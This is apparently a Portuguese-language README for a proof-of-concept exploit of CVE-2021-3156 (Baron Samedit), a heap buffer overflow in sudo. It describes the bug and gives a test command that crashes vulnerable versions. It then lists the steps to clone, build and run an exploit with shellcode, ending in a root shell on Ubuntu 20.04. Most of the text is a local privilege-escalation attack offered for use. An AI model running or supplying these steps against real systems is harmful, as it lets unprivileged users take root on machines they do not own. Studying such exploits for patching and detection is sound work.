
Prova de conceito de exploit para CVE-2021-3156, um buffer overflow baseado em heap no sudo anterior à versão 1.9.5p2, permitindo escalação de privilégios para root via sudoedit -s.
O Sudo anterior à versão 1.9.5p2 contém um erro de deslocamento que pode resultar em um estouro de buffer baseado em heap, permitindo escalonamento de privilégios para root via sudoedit -s e um argumento de linha de comando que termina com uma única barra invertida.
Créditos: Aviso de Baron Samedit da Qualys
O projeto sudo lançou um comando que permite testar se sua versão do sudo é vulnerável:
sudoedit -s '\' `perl -e 'print "A" x 65536'`
Se você receber uma mensagem de uso ou erro, o sudo não está vulnerável. Se o resultado for uma falha de segmentação (Segmentation fault), o sudo está vulnerável.
PoC de shell root para CVE-2021-3156 (sem bruteforce) Testado no Ubuntu 20.04 (sudo 1.8.31)
$ git clone https://github.com/CyberCommands/CVE-2021-3156.git
$ cd CVE-2021-3156
$ make
mkdir libnss_x
cc -O3 -shared -nostdlib -o libnss_x/x.so.2 shellcode.c
cc -O3 -o exploit exploit.c
$ ./exploit
# whoami
root